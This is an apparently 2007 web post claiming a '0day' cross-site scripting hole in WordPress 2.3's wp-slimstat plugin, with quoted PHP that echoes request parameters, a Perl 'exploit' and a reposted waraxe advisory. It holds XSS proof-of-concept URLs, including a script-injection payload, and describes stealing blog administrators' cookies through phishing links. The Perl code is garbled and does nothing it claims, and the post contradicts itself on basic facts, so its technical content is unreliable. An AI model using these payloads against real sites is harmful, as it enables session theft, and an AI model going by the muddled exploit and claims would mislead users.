XSS Worm : Cross Site Scripting & Web 2.0 Security

0day XSS Exploit for Wordpress 2.3 – wp-slimstat 0.92 – [xssworm.com]

There is a serious holes in wordpress 2.3 that can be used with XSS by a blackhat hacker to attack the wordpress administrator and steal cookies from blogmins. This attack is known as 0day because it has just been reported to public and this is first day of public vulnerability, and 0day means ‘published.’

Below is demonstration attack against wordpress install at http://xssworm.blogvis.com – please do not use him for you attack as we do not have a patch for this 0day exploit. XSSWorm admin is being alerted and look for suspicious click (-;

Proof of concept:

http://wordpress-web-blog.com/wp-admin/index.php?page=wp-slimstat/wp-slimstat.php?panel=1&fi=/feed/&ff=1&ft=<xss shellcode>

This attack to be used against wordpress web blog blogmin to steal blogosphere token to hack blogs. Of course we have included exploit code for this bug at the below.

We have looked at coding for wp-slimstat but we cannot see any problem with input validating. Maybe some of the xssworm.com readers can show us where problem is in the php code because we cannot see any porblem here:

–snips:

C:\temp>findstr GET wp-slimstat.php
$myFilterField = intval( $_GET[’ff’] );
$myFilterType = intval( $_GET[’ft’] );
$myFilterString = $_GET[’fi’];
$myFilterInterval = $_GET[’fd’];
$myFilterField = intval( $_GET[’ff’] );
$myFilterType = intval( $_GET[’ft’] );
$myFilterString = $_GET[’fi’];
$myFilterInterval = $_GET[’fd’];
‘.(!empty($myFilterString)?’— <a href=”?page=’.$_GET[’page’].’&panel=’.$_GET[”panel”].’”>’.__(’Reset filters’, ‘wp-slimstat’).’</a>’:”).’
<input type=”hidden” name=”page” value=”‘.$_GET[’page’].’” />
<input type=”hidden” name=”panel” value=”‘.$_GET[”panel”].’” />
<input type=”hidden” name=”fd” value=”‘.$_GET[”fd”].’” /></form>’;

–snips

With programmor using $_GET variable from user into echo into html output maybe php automatic GET validation filtering is not working for security? We are not programmers of php so we cannot see any porblems here as bug are too complex to understand.

Exploit code for perl whitehats included here:

# Wordpress 2.3 0day exploit – http://xssworm.com
#
# A bug exist in wordpress 2.3 that allow hacker to
# steal blog cookie from wordpress blogmin.
#
# To exploit scripting bug the attacker make link
# to URL of slimstat with XSS shellcode and force
# blog admin to hit link by embedding into fish
# email or making blogmin follow interesting links.
# Also hacker can embed into refer or trackback
# to inject scripting into wordpress dashboard or
# make blogmin visit malicious resource when viewing
# he’s blog.
#
#
# Status: not patched published 0day vulnerability
# Vendor: wordpress.org
# Credit: http://xssworm.com
# Discovery: 1st November 2007
# Exploit developer: Fracesco Vaj (vaj@xssworm.com)
#
# Instruction:
# To execute exploit for wordpress you will need perl or linux
#
# Usage:
#
# Execute with perl or linux as:
# perl wordpress-2.3-0day-xss-injection-bug.pl
#
# Hacker will get prompts for target information.
# Please do not use for irresponsible hacking or to make money.
# Disclaimer: XSSWORM.COM is not responsible.
#
#

#use Net::DNS:Simple;
#use Math;
use Socket;

print “Welcome. What is target email address of wordpress blog admin : \n”;
my $target = <STDIN>;
print “ok target is $target\n”;
sleep(3);
print “ok What is address of wordpress blog : \n”;
sleep(5); my $address = <STDIN>;
print “ok target is $target\n”;
sleep(6);
# print “testing”
print “ok using /wp-admin/?page=wp-slimstat/wp-slimstat.php?panel=1&ft=SHELLCODE\n”;
print “\n\n — CUT OUTPUT HERE — \n\n”;
print “HELO xssworm.com\n”;
print “RSET\n”;
PRINT “MAIL FROM: <xssworm@hotmail.com>\n”;
print “RCPT TO: <$target>\n”;
print “DATA\n”; print “Free x pciture and movies at $address\n”;
print “\r\n.\r\nquit\r\n”;
print “\n\n — END OF OUTPUT CUT HERE –\n”;
print “”;
print “Ok now you neeed to cut the exploit above and paste it to:\n”;
print “$address : 25 \n”;
print “Shellcode by vaj@xssworm.com c. 2007\n”;
print “End of attack.\n”;
print “”;
#print “Debug mode on”
#print “XSS initialized”
#payload
sleep(1); return(0);
# snips
#

Please note that this wp-slimstat does not contain any code injection or mysql injection bug vector that is opened to blackkhat attack via transport of xss.

Many thanks for your comments on this vulnerability in wordpress 2.4

Thanks vaj

Title of XSS Vulnerability:  [waraxe-2007-SA#059] - XSS in WordPress 2.3

Credit of XSS Discovery: Janek Vind “waraxe”
XSS Discovery Date: 27. October 2007
XSS Discovery Location: Estonia, Tartu
Web address for XSS security alert: http://www.waraxe.us/advisory-59.html

Description of XSS Exploit:

WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability, at expense of security.

To run WordPress your host just needs a couple of things:

PHP version 4.2 or greater
MySQL version 4.0 or greater

Technical XSS Information: Cross-Site Scripting (XSS) in “edit-post-rows.php”

WARAXE Writes: Let’s take have a look inside “/wp-admin/edit-post-rows.php”:

[start of section of source code with XSS exploit for wordpress]

<?php foreach($posts_columns as $column_display_name) { ?>
<th scope=”col”><?php echo $column_display_name; ?></th>
<?php } ?>

[end of vulnerable source code section]

As we can see, array “posts_columns” is uninitialized and if we execute this php script directly, then arbitrary value for that variable can be delivered. This means, that reflective XSS exists here.

And of course register_globals must be on for this “exploit” to be successful.

XSS Proof of concept worm:

http://victim.com/wp-admin/edit-post-rows.php?posts_columns[]=<script>alert(123);</script>

The information above has been provided by the website of WARAXE.US